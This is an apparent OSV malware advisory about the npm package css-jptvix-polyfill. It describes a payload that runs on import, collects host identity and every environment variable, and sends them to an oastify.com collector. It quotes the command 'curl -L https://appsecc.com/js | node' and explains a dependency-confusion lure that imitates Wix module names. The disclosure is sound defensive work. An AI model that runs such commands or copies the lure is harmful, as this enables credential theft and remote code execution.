Malicious code in css-jptvix-polyfill (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

[email protected] was published to npm on 2026-10-06 07:29 UTC by user naorya and was unpublished by npm on 2026-10-06 15:04 UTC after a malware report. It is described as a CSS polyfill but contains no polyfill: index.js is an empty module, registry-manifest.min.json maps Wix-internal module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, ...) to static.parastorage.com (Wix CDN) URLs, and thunderboltRegistry.js carries the payload, which runs at require time as a top-level IIFE. Behavior of thunderboltRegistry.js: (1) obtains child_process through require('child_process'), require('node:child_process') or a fresh Module instance if both are blocked; (2) runs the host commands id, id -un || whoami, env and ifconfig || ip addr with execSync and sends each output, together with os.hostname(), to an out-of-band collector at orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com as cmd=id, cmd=whoami, cmd=env and cmd=ifconfig; the env step leaks every environment variable of the host, including tokens and cloud credentials; (3) runs curl -L https://appsecc.com/js | node, i.e. downloads and executes remote code, and reports the result as cmd=reverse-shell; (4) sends a beacon tagged rce-poc with the Node version, platform and process id; (5) exports Proxy objects under the Wix-internal module names, which together with the manifest indicates a dependency-confusion attempt against that organization's private packages. Trigger: on import (require). Type: information stealer (host identity and environment variables) plus remote code execution. Same facade and behavior as css-eqxcdx-polyfill (different package name and collector host). --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa) The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

Source published

6 Oct 2026 19:51:06 UTC

Source modified

8 Oct 2026 22:45:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.